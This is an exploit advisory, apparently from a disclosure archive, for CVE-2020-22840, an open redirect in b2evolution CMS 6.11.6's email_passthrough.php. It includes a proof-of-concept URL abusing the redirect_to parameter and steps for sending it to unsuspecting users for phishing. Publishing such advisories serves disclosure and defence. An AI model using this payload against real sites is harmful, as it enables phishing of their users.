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b2evolution CMS 6.11.6 Open Redirection

b2evolution CMS 6.11.6 Open Redirection
Posted Feb 10, 2021
Authored by Nakul Ratti, Soham Bakore

b2evolution CMS version 6.11.6 suffers from an open redirection vulnerability.

tags | exploit
advisories | CVE-2020-22840
SHA-256 | c65ab83dc414ae0fd259db2445e3da796cf8cf06d6be4c9e872b07e92bd3283c

b2evolution CMS 6.11.6 Open Redirection

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# Exploit Title: *Open redirect in b2evolution CMS 6.11.6 redirect_to
parameter in email_passthrough.php*
# Google Dork: N/A
# Date: 10/02/2021
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage: https://b2evolution.net/
# Software Link:
https://b2evolution.net/downloads/6-11-6-stable?download=12405
# Version: 6.11.6
# Tested on: latest version of Chrome, Firefox on Windows and Linux
# CVE : *CVE-2020-22840*

Vulnerable File:
--------------------------
http://host/htsrv/email_passthrough.php <http://host/evoadm.php>

Vulnerable Issue:
--------------------------
redirect_to parameter has no input validation/domain whitelisting.

--------------------------Proof of Concept-----------------------
Steps to Reproduce:

1. Send the following link :
*http://127.0.0.1/htsrv/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Fgoogle.com
<http://127.0.0.1/htsrv/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Fgoogle.com>*
to
the unsuspecting user
2. The user will be redirected to Google.com or any other attacker
controlled domain
3. This can be used to perform malicious phishing campaigns on unsuspecting
users
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